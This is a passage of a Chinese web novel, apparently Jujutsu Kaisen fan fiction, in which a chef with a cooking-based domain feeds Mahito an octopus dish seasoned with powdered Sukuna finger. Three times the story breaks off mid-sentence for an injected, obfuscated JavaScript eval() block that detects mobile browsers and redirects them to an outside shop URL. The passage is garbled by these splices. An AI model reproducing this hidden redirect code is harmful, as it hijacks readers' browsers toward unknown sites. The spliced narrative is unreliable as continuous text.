似乎是因自己的领域而成形,这小东西十分喜爱他,栗秋焰跟不撒手的团子艰难斗争了一会儿,最后还是放弃了。 “没错。”栗秋焰顶着团子叹了口气:“热得感觉头都重了三斤啊。” 该说幸好只有这一只吗。 栗秋焰垂下眼眸,视线隐晦地扫过领域覆盖范围下的其他人。 同样是普通人,其他人却并没有凝结出类似的实质活物,只是随着满脸幸福的咀嚼动作中,有丝丝缕缕的白色力量如蒸汽般飘逸萦回而出。 看来这就是那种与咒力相对的,正面情绪的力量;而就像咒灵是咒力沉积形成,这小东西就是这种力量凝结而成。 即使放着这浓郁的力量不管,应该也会自然沉积形成这种生物。而吉野凪的正面情绪达到了一个顶峰,所以加速了这个过程。 栗秋焰捏了下头顶软唧唧的团子,若有所思。 可能因为他是一个半途进入咒术界的意外,所以没有那种从小【看见】的咒术师们身上那种,视一切为本来如此的理所当然。 在了解了咒力的基础知识后,他就一直觉得很奇怪。 咒力,是由人的负面情绪形成——那就代表着,人的【情绪】是可以成为力量的对吧?那么为什么只有负面情绪会形成咒力,正面情绪却没有对应的力量呢? 就像有黑就有白,有阴就有阳……《周易》上说大道三千,天衍四九,但人还能遁其一呢。结果放这儿就啥都没有,栗秋焰都怀疑咒术界的天道运行机制是不是坏掉了。 老天爷!我的一呢!缺的那个一谁给我补啊! ……结果出走半生,归来自己竟然是那个一。 系统:【陛下,虽然你没那个意思,但这说法太gay了,我身为前攻略系统雷达响了。】 栗秋焰:“……” 系统突然诈尸吓了他一跳,但倒也提醒了他,栗秋焰在心里问道。 “我记得你说过,虽然术式是我自己的,但是作为发动的咒力,其实是你在提供?” 【是的,因为陛下您很少产生负面情绪。】系统说:【具体运行机制比较复杂……可以理解为,你使用的咒力是用能量兑换过来的。】 “然后‘能量’就是‘攻略人物’的极端情绪,还挺有逻辑。”栗秋焰恍然大悟,随即鄙视道:“那你不就是个纯抽成的中介么,真黑啊。” 【什么叫黑……攻略的事,能叫黑吗!这是高科技,你正常能有这转换效率吗!】 栗秋焰笑了笑,没再继续说下去。 虽然看起来像什么肩负未来的主角模板……但栗秋焰不傻,他知道,自己领域对普通人的效果一旦被咒术界发现,会引起怎样的大地震。 这甚至比能够短暂使役他人咒术的能力,对咒术界的影响更大。 他在动摇咒术界的根基。 做一个最极端的假设,假如他一直张开足以覆盖全霓虹的领域,那么久而久之,这种生物就会越来越多,逐渐扩大为与咒灵相似的规模…… 在这样此消彼长的彼此平衡中,咒灵会——消失。而咒术师,是为祓除咒灵而存在的。 咒灵消失了,那咒术师该怎么办? 栗秋焰相信,一部分咒术师会乐于接受——毕竟“咒术师没有无悔的死亡”,如果咒灵消失,能好好地平安活下去也很不错。 但抛却这部分过于天真的考虑,力量本身就代表着特权。咒术师群体能接受这种特权的消弭吗?或者再现实些…… ……享受着特权阶级便利的御三家,能放过他吗? 那就不是现在这样的小打小闹了。他绝对会面临无穷无尽的追杀,直到死去。 栗秋焰心中突然产生了某种明悟。 ——难道说,这就是天元要杀他的原因? 手机铃声突然响起,打断了他的思考。 栗秋焰定了定神,拿起来:“喂?……啊?” 他转过头,甚尔敏锐地看过来。 “哎老师,啊对,我是惠惠的哥哥。我家的大人?这个……您先说是什么事吧。”栗秋焰看着甚尔。 甚尔挑了挑眉。那个小崽子干嘛了? “哦……这样啊。” 栗秋焰捂住话筒,无声地比了个口型:打架了。 “漂亮。”甚尔满意道:“果然是老子的儿子。” 栗秋焰:“……啊?啊,老师您继续说,没事,您听错了,哈哈。” 有你这么教育小孩儿的吗!讲道理,懂吗? 他一边保持声音平稳,一边瞪了甚尔一眼。“但老师,惠惠这孩子很乖的,这里面肯定有什么误会吧?” 栗秋焰凝神听着话筒那边传来的声音,随着时间推移,他的表情变了,眉头渐渐拧起,听完后眉毛简直要飞到天上去了。 “哈?”栗秋焰不可置信道:“他们抢人吃的,惠惠不给,然后就动手了……七个人?!” “哦一挑七打赢了啊。”栗秋焰说:“那没事了,他们活该的。” 电话那边传来了一阵长久的沉默。 过了好一会儿,电话中的声音才委婉道:“伏黑哥哥,你毕竟也是孩子,不懂事理,还是让你家大人来接电话吧。而且这事,虽然看起来是伏黑占理,但其实是他有错在先。” “什么错?” “所有同学老师都吃冷便当,他竟然把自己的便当拿去加热。”老师用理所当然的语气义愤填膺道:“而且他明知道是气味很香的饭菜,还去加热了!丝毫不管这会给其他学生造成多大的困扰,真的太过分了!” 栗秋焰:? 荒天下之大谬!没苦硬吃是你们自己的事,凭啥要求我家孩子委曲求全?为什么不吃香的,是做不出来吗? “恕我直言……”老师还在继续抱怨:“小孩不懂就算了,准备便当的人也真是自私,只顾自己小孩,完全没有考虑到别人,简直有些道德败坏。” 甚尔听见了这话,向栗秋焰一咧嘴:讲道理?嗯? 栗秋焰面无表情地回望过去,脸颊鼓起,牙用力地咬了咬,但顿了下后,声音反倒一转变得温柔似水了起来。 “好的,我知道了。”他用温柔得能滴出水的声音柔和道:“那能跟我说一下那七个小孩的名字吗?我好去亲自道歉……他们家长也来了,在联合抗议?好,那把他们的名字也跟我说一下吧。” “嗯嗯,我都记下来了。”栗秋焰笑道:“对了还有——老师,你叫什么名字?” 片刻后,栗秋焰挂断了电话。 他与甚尔对视了一眼。 “来活了。”栗秋焰把写着名字的纸片扔给甚尔:“去接惠惠放学吧。注意分寸。” 甚尔抬手接过纸条,眼睛一扫后就揣进口袋,咧嘴笑了一下,露出森森白牙。 “放心好了,不会死人的,只是教训一下。”甚尔抬脚往外走,懒懒道:“我可不想自降身价。” 栗秋焰注视着甚尔的背影走远,吉野凪的声音从旁边小心翼翼地传来:“……小老板?” “嗯?抱歉啊,家里有点小事。” 栗秋焰回过头,手上暗暗一发力,硬把身上趴着的白团子撕了下来,“姐姐,你的衣领乱了。” “诶?”纤长的手指探过来,仔细整平了她乱糟糟的衣领。 吉野凪脸红了下:“……谢谢。” 栗秋焰看着重新趴回吉野凪肩膀上“哩、哩”叫着的白团子,笑道:“不用谢。所以姐姐,你现在是下定决心了?” “嗯。以前的我总是差那一点勇气,现在我想通了。我儿子顺平……不,不止是他,还有我自己。我要离开那个糟糕的男人,我值得……更好的生活。” 吉野凪露出笑容,将空碗放下,轻轻道:“虽然已经说过很多次了,但我最后还是想说……真的谢谢你,小老板。” 此时恰好风吹过,厚重的阴云隙开,雨霁后的一束格外清澈的阳光投下,映亮了吉野凪的眼瞳。 “哩、哩……”小白团突然开口,这次它终于把断续的音节完整接上,栗秋焰听到,原来它在说的是…… “离开、离开!” “是时候离开一团乱麻的旧日子,开启新生活了。”吉野凪背起这次显得格外轻的袋子,向栗秋焰笑着挥手道:“小老板,再见。” “嗯。”栗秋焰也笑了:“再见。” 吉野凪转过身,在清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13778131|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澈明亮的阳光中,肩膀上的白团子欢快地蹦跶着,她笑着抬起脚,带着满心振作的勇气与希望,走出了第一步—— 撞到了一个人的肩膀。 “啊,不好意思。”吉野凪下意识道。 “没关系~啊咧,这里是这样说没错吧?” 淡蓝色头发、暴|露出的皮肤上缝合线交错的人,用那双怪异的异瞳笑意盈盈地注视着她。 吉野凪突然心中升起一股冷意。她连回答都顾不上,抓起袋子就匆匆向外跑去。 即使她并不明白此人是谁,但仿佛一根丝线悄然绷断,自命运的纺锤中垂下半根摇摇欲坠的蜘蛛丝,那湿粘的震颤,让她不顾一切地开始逃跑。 吉野凪擦肩而过——淡蓝色发的异类,名为真人的咒灵动也不动站在原地,并没有追逐的打算。 他只是仍维持着那张灿烂到令人恶心的笑脸,手指屈起,抓着一个东西,缓缓抬起手。 ——那只白团子,被他牢牢地捏在掌心,发出了一声哭泣般的叫声。 栗秋焰沉下眼眸,冷冷地注视着他。 “你好呀,栗秋焰。”真人说道。 那声音轻快甜美,快乐得像是一个兴致勃勃的孩童。但在这样的声音中,那只缝合线纵横的手猛地收紧。 栗秋焰的瞳孔一缩。 一声戛然而止的泣音。 “你真的太有意思了!我从来没见过像你一样的人类!”真人一蹦一跳地凑过来,指头抵着嘴唇,看着桌上的砂锅眼睛惊叹:“好厉害,这都是你做的吧?” 栗秋焰冷冷地看着他,不发一言。 “哦对了对了,按你们人类的话来说,我才刚出生没多久,很多东西都不懂呢,教教我,好不好?” 真人高高扬起嘴角,接着张大了嘴巴,将那只还未完全消散的白团子扔进口中,嘴唇闭合,重重咬下。 栗秋焰的眼睫颤了颤。 “有点点痛耶。”真人吐了吐舌头,向栗秋焰眨巴着眼睛,好奇道:“这就是人类说的辣味吗?” “……你。”栗秋焰抬眼,冷静道:“你为什么,知道我的名字。” 真人的笑容似乎更灿烂了几分。 “比起那个,小焰~快给我做一道料理嘛~”真人甜腻地喊着他自顾自定下的昵称:“虽然试着反抗了——啊啊,但果然,完全不行呢。太新奇了,我还是第一次感觉到饥饿,没想到就饿得差点要死掉了呢。” 领域的规则之一:进入者必须食用料理,相应的,只要食客发出请求,领域主人(栗秋焰)则必须提供料理。 栗秋焰也是此时才发现,他看似无敌的领域,实际上有一个巨大的漏洞。 四个喜好标签,能让他使役食客的领域;三个喜好标签,能让他使役食客的术式,而以上无论哪种,食客都会被领域抽走咒力,变相使其失去战斗能力。 ……但是,假如这道料理,少于三个喜好标签呢? “小焰,快点呀,我可是超级期待呢~”真人坐下,托着腮道:“啊但是,可不要把人类的那套会觉得‘好吃’的味道用在我身上哦,我会难过的,呜呜呜。” 真人捂着脸假哭了两声,又在指缝中睁开一只眼,瞅着栗秋焰冷淡的脸,笑嘻嘻道。 “毕竟,我是咒灵啊。”真人咧开嘴角:“放心,小焰,我可舍不得你死了——我会保留你的意识,变成娃娃一直陪我玩,好不好?” 栗秋焰的眼珠十分淡漠地转了一圈,突然也笑了。 “不用。”他说:“你会觉得‘好吃’的……绝对。” 栗秋焰打开了调料柜。 他的手腕白皙,纤细修长的指尖伸向深处。 那里,存放着一个秘密。 一切风波都是由退学而起。而这里,隐藏着一个最初的真相。 高专的同学们,一直抱怨他是个满嘴跑火车、说话可信度极低的人……他们真的很了解他。 想到了熟悉的朋友们,栗秋焰脸上不自觉地露出了些微笑。脑海中,这几天的回忆画面一闪而过。 “那么,宿傩手指呢?”夏油杰问。 “大概,也许被咒灵藏起来了吧。”他眼也不眨地如此回答道。 “宿傩手指呢?它怎么消失的,飞了?”家入硝子问。 “你问我我也说不出来啊。”他状若无辜地如此回答道。 栗秋焰笑了起来,手指弯起,握住了一只调料瓶。 瓶中,是黑红的暗色粉末。 是的,那只遗失的特级咒物,此刻就在这里。 ——这一瓶,就是两面宿傩的手指。 他利用自己的术式,极其耐心地一点点将宿傩的手指切碎,又再一点点磨成粉末,保存在了这只调料瓶中。 栗秋焰将调料瓶拿出,凝视着那邪异的黑红色泽。 这就是他为何如此做的原因之一—— 就像现在这样,那时,一个之前他从未见过的标签,从这根手指上跳了出来。 【黑暗气息】 ……那是一个,【料理标签】。 21.真人x阿芙佳朵 诅咒之王,两面宿傩。 在进入咒术界前,栗秋焰就看到过这个名字。那还是国中的时候,他那段时间闲得无聊,把家里落灰的那堆门面书翻了一遍,其中就有一本是《日本书纪》。 宿傩此人,只占了一页中极小的一个自然段。只说在仁德天皇年间,有一人名为宿傩,一体有两面、面各相背、各有手足。 栗秋焰那时正趴在书桌的窗帘后,眯着眼,指尖缓缓在黑白的印刷字上划过。 “不随皇命,以掠略人民为乐……” 然后窗帘就被猛地拉开,身体被一把轻松抱起,脸被壮硕的胸肌压住,他下意识把书抬高,脑袋上就传来了热情的声音。 “嘿fiamma我的儿子,你在看什么,菜谱吗?这什么……两摊素面?” ……说真的,要不是那汉文半吊子的意国花瓶老爸,他甚至都不会记得这个名字。 想当初栗秋焰还认真思索过,这种被古人所恐惧的畸形,是否有母体营养匮乏的原因,假如在出生前调养饮食…… 不过那也都是过去了。谁能想到这个正史名不见经传的人,竟然是咒术界中赫赫有名的诅咒之王呢。 ……更没想到,今天竟然真的要用在料理中。 栗秋焰凝视着瓶中暗色的粉末,深呼了一口气。将它取了出来,暂且放在了案台边缘的位置。 当时情况特殊,他面临生命威胁,又被从来没见过的概念标签一刺激,想到高专恶心人的做派,索性一不做二不休昧了下来。但虽然磨了粉,这也毕竟是咒物,不知道随意食用会发生什么,栗秋焰还以为这东西会落灰一辈子。 没想到今天竟然真能用上。 至于这个实验品会发生什么?哈,跟他有什么关系? 栗秋焰抬眼看了一眼真人脸上灿烂到恶心的笑脸,果断低下了头,随手掏出一只巨大的活物,往案板上一摔。 “这是……”真人好奇地看过去:“章鱼?” 章鱼被啪叽一下扔在案板上,身体呈现出偏深的紫红肉色,像是刚从海里捞起来般鲜活有力,触肢不停地扭摆挣扎,试图向上缠缚住栗秋焰的手。 但栗秋焰牢牢地卡住章鱼的头颅下方,少年有力的手腕纹丝不动,真人与章鱼乱动的凸鼓眼珠对视,突然想起另一个头颅与章鱼十分相似、与他同为特级咒灵的陀艮。 而就在真人眼前重合上同类的虚影时,栗秋焰手握锥刺,迅猛利落的一下,长刺瞬间齐根没入了章鱼的大脑! 真人本能地一僵。 章鱼爆发出最剧烈的挣扎,但栗秋焰仍表情淡然,一手捏握住章鱼脖颈,另一手抵住没入章鱼两眼之间的锥刺,露出的手臂上肌肉绷紧,利落地将那根针锥刺得更深,还左右旋转了好几圈。 章鱼变色了。仿佛一滴惨白的水在血中晕开、染透,从被针锥扎入的地方开始,原本紫红的章鱼迅速变得灰白,活力随着象征生命的紫红一齐褪色消失。 它不再扭动挣扎,只有灰白的触肢还在痉挛般蜷起张开,一收一缩的吸盘像是死前痛苦的呻吟。 接着,栗秋焰翻开章鱼的头颅,将里面的东西一个个一起拔了出来。少年手掌下摊,他清丽柔和的脸庞微微俯下,注视着大脑和内脏从白皙的指间流下来。 栗秋焰的一系列动作干脆利落,没有任何多余的举动,连眼神都没有波动一下。 真人收起了脸上的笑容。明明他没有心脏,却感觉到灵魂中有什么东西颤抖了一下。 他静静地注视着栗秋焰的手。像是顽劣的孩子在进入水族馆时突兀地安静下来,眼瞳中映过鲸鲨漠然而过的庞大阴影。 “你杀人也这样吗?”真人突然说。 栗秋焰切章鱼的手一顿:“……” 他无语地抬头,发现真人竟然问得还挺认真的——也许在这只咒灵眼中,人类虽然“好玩”,但也同样是与其他活物并列的一种……物种? “怎么可能,我只是个厨子,厨子不杀人的好吗。”栗秋焰说:“这是处理食材……人又不是食材。” “凭什么人不能当食材?你不会好奇吗,明明从未尝试过的‘肉’就在眼前。” 真人追问道:“你说厨子不杀人……那直接把人肉给你,威胁你烹饪,你会做吗?” 栗秋焰绿色的瞳眸动了动,过了片刻后,他低下头,开始漫不经心地一下一下切着萝卜。 萝卜的汁水在刀影间微微地渗出,像是被血浸透的伤口。 “……假如在我对料理最狂热,最不知天高地厚的那几年……也许会吧,说不定。”栗秋焰淡淡道:“但如果真的做了那样的事,就再也当不了厨子了。” 厨子是不能忍受自己对味道失去掌握的。即使强忍多次,最后也一定会亲自品尝。 那是饕餮般的疯狂之路,在那种路的终途,也许会把自己吃下去也说不定。 “搞半天,还是那种自以为是的论调啊。”真人嬉笑道:“这是人类中心主义吗?明明全都又弱又蠢,随便哪个咒灵都能简单杀掉一大片哎。” “人类就是中心吧。” 栗秋焰垂着眼睛,平静道。 “因为你看,咒灵不吃人类吧?” 真人愣了下:“诶?” 说话间栗秋焰已经切好萝卜,并将汁水挤到碗中,放在旁边备用。 然后他切了番茄、蒜,合着之前切好的章鱼下锅,用橄榄油稍微嫩煎了一下,让章鱼表皮带上香味。 “那是什么意思?”与栗秋焰不紧不慢的动作相对比,真人反而忍不住了。 栗秋焰丝毫没有改变自己烹饪节奏的打算,他探了探水温,将萝卜的汁水倒进一煮锅的水中,放进章鱼,盖上盖子后才开口。 只是他并没有直接解释,而是转而说起了别的东西。“这道菜发源于意国,在霓虹经常被叫做‘阿芙佳朵’,就是‘淹没、湿透’的意思,是一种叫溺煮的料理方法。” 真人:? 栗秋焰的手指在锅外侧微微一碰,感叹般道:“几千年前,人类还挣扎在山林野兽间求生,邻海而居的人类先祖们,不知因为章鱼这样头足类的先祖溺死过多少人,但现在……它只能躺在这里,等着被吃。” 真人:“你想,说什么?” “还是不明白么。”栗秋焰叹了口气。 他微微俯下身,碧绿的眼眸淡漠地向下,凝视着面前怔怔的咒灵。 “吃,是一种权力,一种征服。” “远古的人类痛饮猛兽的血肉,由此存活、战斗、死去,而有会有新的人吃下曾吞噬过同伴的猛兽,就这样一代代地存活下去……直到兽类只能成为被吃的一方。” “吃的一方活着,被吃的一方死去,化为吃者生命的养料。吃与被吃,这是最简单的权力关系,而世界也由此运行流转。” 即使大多类似于汉o拔那样的食人魔,大多也不是真的享 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13805130|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受人类肉质如何。他们在咀嚼同类的血肉时,吃的更是一种心理欲望,一种隐秘而纯粹的……征服的快感。 牙齿咬合,咽下血肉。没有哪一种方式,比这更能确立权力的上位。 而烹饪……更是权力极限具现化的过程。 通过各种手段与方式,让被吃者逐渐变得更适合吃者的身体,这是吃者才有的傲慢余裕。 栗秋焰的打开煮锅,倒入各类调料,看着汤汁变成诱人的色泽。 章鱼的身体,在入锅前是紧缩发硬的,这也许也是一种不甘的被吃者最后的报复。但经过长时间的加热溺煮,肉质就会慢慢地松开,汤汁也会逐渐渗透其中…… 是的,它变得“好吃”了。 栗秋焰的眼眸微垂,目光冷淡,突然笑般的一挑唇,开始悠闲地做起收尾工作,清洗起那柄刚刚刺穿章鱼大脑的锥刺。 “而你们咒灵,不吃人对吧?你们杀人,完全是出自本能的恶意,不是生存,没有征服,你们只是向世界宣泄着临死般的破坏欲……因为你们根本没有考虑过如何‘活下去’。” “所以一切都只是恐惧的回响罢了。咒灵,本性已经注定你们是依附的一方。比起独立的‘生物’,我倒觉得更像是人类避免族群膨胀毁灭地球,而诞生的一种自我机制。” 冷光打上水流,映出栗秋焰微微的一笑。 “只有人类才是征服者。”栗秋焰笑道:“听懂了吗,寄生虫?” 强大到可怖的压力骤降,真人瞳孔剧缩,那一瞬间他思维一片空白,下意识只想后退逃离——但后背却抵上了一道无形的冰冷障壁。 ——‘规则’未完成,他还被关在领域中,不得离开。 栗秋焰掀开锅盖,将炖煮好的阿芙佳朵捞起,放在盘中。 他突然笑了一下,因为不知为何脑子里忽然冒出了小时候的事。 他的中二ptsd应该也是来源自此,那时他刚刚开始学烹饪,就展现出了非同一般的天赋,不过他出手的料理也只有极少数的人有机会品尝到。 日媒一向爱好夸张的称呼,因为那对爸妈的中二外号,在之前一直称呼他为“魔王之子”“神女之子”…… 但在吃过他的料理后,那些人开始用极尽夸张的辞藻,洋洋洒洒地描述着自己惊艳的感受:用不容抗拒的味道,碾压过舌鼻……摧毁固有味觉,臣服于被重新定义的美味…… 那些人叫他……“暴君”。 栗秋焰拿过那瓶奇异的调料,在盘上轻轻地画龙点睛般一抖。 “你应该知道,吃下料理后喜好标签达数的‘咒术师’,会被我掌控咒力,抽取来使役术式或领域。但……那是‘咒术师’。” 栗秋焰将盘子放在桌上,看向真人,嘴角逐渐扬起。 “与咒术师不同,咒灵本身就是由咒力沉积而形成的吧?也就是说你们本质上……只是一种咒力集合体而已。”栗秋焰说:“那被我掌控住咒力的一瞬间,你会发生什么呢?” 阿芙佳朵的香味翻溢而出,但真人的手却颤抖起来。 真人恍惚间感觉栗秋焰张开的领域宛如餐盘,而他竟现在才发现自己身处其中。他抬起眼睛,看到栗秋焰终于笑起来的面容,却仿佛看到绿眸少年拿起刀叉。 薄唇张开,露出牙齿。 “我为刀俎,你为鱼肉。” 栗秋焰将盘子放在真人面前,微笑道。 “尝尝吧。” 22.派一个麻烦去解决麻烦 整只章鱼盛放在洁白的盘中,柔软的肉肢浇淋着汤汁诱人的色泽,鲜香扑鼻而来,随着放下的动作,弹性十足的触腕还颤了颤,几乎可以想象出口感的鲜脆弹牙。 真人感觉自己的心脏也跟着盘中的食物一起抖了抖。 “吃啊。”栗秋焰的声音轻飘飘地落下来。 仿佛按动了什么开关,真人面色一僵,腹中的饥饿感噌一下窜了起来,直直地灼烧着灵魂。他一把抓起餐具,灼烧感消失,但悬吊的饥饿感仍在隐隐地催促着他—— 遵守领域主人的【规则】。否则,死。 但即使履行规则,下一步等待着他的,又将是什么? 热气携带着海鲜霸道的鲜香冲入鼻端,真人幻视出一只张牙舞爪的章鱼昂立于盘沿之上,两条有力的触肢抬起如子弹般袭向面门,一只勾住鼻子一只缠上脖颈,往下重重拽去。 白色的香气幽幽抚过真人的头脸,真人几乎是不受控制地向下,将刀叉抵在了章鱼腿上。 刀尖有些颤抖地切开肉肢,真人叉起章鱼足的末端,在缓缓举起那块肉的过程中,他脑中一瞬间闪过了很多。 也许还有别的空子可钻?只要不真正吃下栗秋焰的食物…… 但当那块肉碰上唇时,真人却发现——他无法选择不吃下它。 即使意识抗拒,每一处身体却都叫嚣着渴望。在烧灼的饥饿中,这块食物牢牢勾住的是一种本能——求生的本能。只要还有着活下去的欲望,就永远无法拒绝栗秋焰。 嘴唇颤抖着张开,那块肉被放入唇舌之间,咬下。 瞬间,爆炸的美味席卷了口腔,伴随着浓厚的鲜味浪潮奔涌而来的,是辛香鲜辣的激烈刺|激,紧实弹牙的新鲜章鱼肉经过溺煮惊人的柔软,每一丝都渗透了汤汁。像是暴风雨下的悬崖,每一次咀嚼都是一次怒吼着拍上海岸的巨浪。 “传统的阿芙佳朵,不会加入辣椒这种过于‘重’的调味料,因为这道菜的精髓在于发挥食材的鲜味。” “但我的食材足够好,不用担心调味料盖过鲜味。”系统发的海鲜大礼包果然好,栗秋焰舀起一勺汤汁,轻松道:“所以我结合了韩式辣炖海鲜汤的做法,在阿芙佳朵的基础上,又另外加入了辣椒胡椒粉等调料。毕竟……” 与真人见面后,交流仅有短短几句话的时间。但只是这短短几句话间,栗秋焰已冷静分析出他所需的信息。 “原先的阿芙佳朵固然美味,却太温顺柔和了。”栗秋焰看向真人,笑道:“你需要的美味,是一场不容置喙的征服与碾压。” 真人沉默着,半晌后,深深地叹了一口气。 “你说的没错。我甚至今天才知道,原来我‘喜欢’这样的口味。”真人抬起头:“……这太好吃了。” 真人脸上的表情出乎意料的真诚,但栗秋焰心中反而提起了警惕。 他之前没跟这种可以交流的人形咒灵打过交道,但他以他丰富的知识储备、以及充足的轻小说阅读经验发誓,这种稀有品级的反派绝对不会那么简单。 不过领域的规则已开始运作,真人身侧,标签一个接一个地亮了起来。 【辣】【猎奇】【海味】…… 栗秋焰屏住了呼吸,最后,一个颜色略微泛红的标签缓缓亮起。 【黑暗气息】 猜对了!加进去的宿傩手指粉真的有用! 四个标签亮起,领域规则生效,真人的咒力流泻而出,栗秋焰逐渐能感受到,有什么东西正在缓慢形成,即将归于自己的掌控…… “糟糕了,这样下去,我真的感觉意识在消失哎……”真人可怜兮兮地抬头:“小焰,放过我嘛,我可以保证,以后绝对不再来找你的麻烦了。” “不可能。”栗秋焰一口拒绝。 “当你的召唤物也不是不行……但起码可以让我保留自我意识吧?”真人眼中泛出泪花:“我可以立束缚,保证以后绝对不伤害小焰你,以及所有和你相关的人!” 听到这里,栗秋焰心中松了一口气,真人是真的没办法了——本来是猜测,但栗秋焰现在大抵确认了。因为咒灵是咒力的聚合体,所以完全掌控咒力后,同样会对咒灵产生掌控力。 对于这个条件,栗秋焰一方面忌惮未知咒灵的临死反扑,另一方面又拿不准这个对咒力的掌控力会持续多久,这个条件也确实可以接受,于是思考半晌后,同意了。 “束缚……成立。” 领域边沿处已经泛出灰黑的光色,隐隐有手掌形状的浮凸,处于栗秋焰掌控下的,真人的领域即将成形。但在只差一步时,晦暗的光线掩饰下,淡蓝色发的咒灵变脸般瞬间转泪为笑。 栗秋焰心道不好,但此时束缚成立,似乎冥冥中有天道响应,瞬间变数的介入令领域的运作一顿,对真人咒力的抽取停滞了一瞬。 咒力回归,真人瞬间向后急退! 他要逃! 栗秋焰立刻站起,不过幸好,领域的规则是必须【吃完】,虽然真人的速度极快,但他会被领域阻拦—— 真人嘴角的笑容夸张得扩大,连脸颊都一同裂开,咒灵的头颅充气球一样膨胀起来,顺着那狂笑裂开变形。巨大的嘴横贯了整个头颅,畸形的手臂伸出,一把抓住桌上的盘子,将整道料理扔进了拉链般一拉至底的巨口中。 坏了! 栗秋焰表情骤变。规则达成,领域的阻碍如冰块般消融,真人轻松回头,半个身体已跨过领域边沿,巨大的头颅露出恶心的笑容。 “拜拜,小焰~”真人悠闲地挥舞着细小的手臂,笑嘻嘻道:“对了,顺带一提,你的名字,可是【咒术师】告诉我的哦~” 栗秋焰并不擅长与料理无关的战斗。咒灵的速度太快,只要脱离领域,他确实只能放任真人逃脱,没有任何办法。 但……前提是,能够脱离领域。 被短暂停转的规则早已重新生效,灰黑的阴翳覆盖而下,栗秋焰抬臂,向真人离开的方向张开手掌。 “——领域展开。” 栗秋焰眼神冷静。 “自闭圆顿裹。” 真人脸色一变,瞬间领域内无数手掌浮凸而出,在他即将完全跨出领域的那一刻环抱圈紧,牢牢锁死了他的手腕! 更可怕的是,类似于自己的术式【无为转变】的效果,同样发生在了自己身上——他的灵魂与□□固定住了,连变小挣脱都做不到! 脚步声响起。 真人僵硬地抬头,看着栗秋焰缓缓走到面前。 栗秋焰俯视着他,可能因为现在真人只有一只手留在领域内,所以咒力抽取得有些迟缓。但栗秋焰仍然能感觉到,那种与使役他人术式类似的“掌控力”,正在逐渐凝聚成形。 “我说过……”栗秋焰微微勾起唇:“我为刀俎,你为鱼肉。” 他再度抬起手,领域内更多阴影食人鱼般游动而来,从黑暗中浮凸而出,冰冷地缠绕上真人的手腕,接着无数手掌一同发力,立马就要硬生生将真人强行拽回领域! 但就在此时,一个声音突然响起。 “栗秋先生!” 栗秋焰一惊,下意识抬头,不远处一个中年男人一边热情地向他摆手,一边急切地小跑着过来。 来者何人栗秋焰完全没印象,但这架势明显是看不见——这人不是咒术师,是普通人。 栗秋焰犹豫了一下,而真人猛地竖起手,手掌变化为锋锐无比的肉刃,趁着栗秋焰犹豫的一瞬间,当机立断地回身,一刀斩在自己肩上! 领域内的那只手断落,真人终于脱身,眨眼间便逃之夭夭,消失得无影无踪。 留在领域内的,只有一只手臂……以及手臂肉|体内残存的,一小部分真人灵魂的碎片。 栗秋焰:“……” “栗秋先生,可算是找到你了!” 毫不知情的中年男人跑到面前,双手抓住栗秋焰的手上下摇晃,双眼放光,一张脸快笑开了花,热情得像是难民见到赈济粮。 “……”栗秋焰用力抽回自己的手,没好气道:“大叔,你谁?你怎么找到我的?” 如果是以前认识的人,那肯定也认识自家父母。但自从进入咒术界后,按理说连爸妈都不知道我人在哪里才对——所以我认识你吗,你就来坏我事!! “哎呀,您贵人多忘事,不记得我也正常。”中年男子打着哈哈:“鄙人佐藤……您可能没印象了,但您前几天住的那栋房子,是您小时候,我送给您的礼物。” 栗秋焰:“……哦,原来如此。” 他就说,那栋房子能立刻住人,肯定是有人打扫。那么就说明原主人赠送后没有扔那不管,而是一直对那栋房子有关注……他住进去过的消息,大概就是保洁例行打扫发现后,跟这个人说的吧。 不过佐藤……他还真对这个名字有点印象。在哪看过的呢,好像就是不久之前? “真的很抱歉,栗秋先生,鄙人家族世代从事教育事业,一直是勤勤恳恳与人为善。这次实在是有事相求,却怎么托人都见不上您,事急从权,才出此下策。” 哦。栗秋焰突然想起,之前写给伏黑甚尔的那个纸条……那个搞霸凌的老师,是不是就姓佐藤来着? 佐藤察言观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13861019|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色,看栗秋焰皱眉还以为他不信,连忙道:“是真的,附近这一片的学校,我都是理事会成员。对了,附近就有一所我担任校长的小学,要不我现在就带您去参观参观……” “行了,我没兴趣。”栗秋焰推着推车往外走:“而且我刚退学,很烦‘校长’这种生物。” “诶?” 佐藤一愣,随即愤慨道:“是哪所学校!不开玩笑,鄙人好歹在教育界也有一定影响力,让我……等等,栗秋先生,您别走啊!” 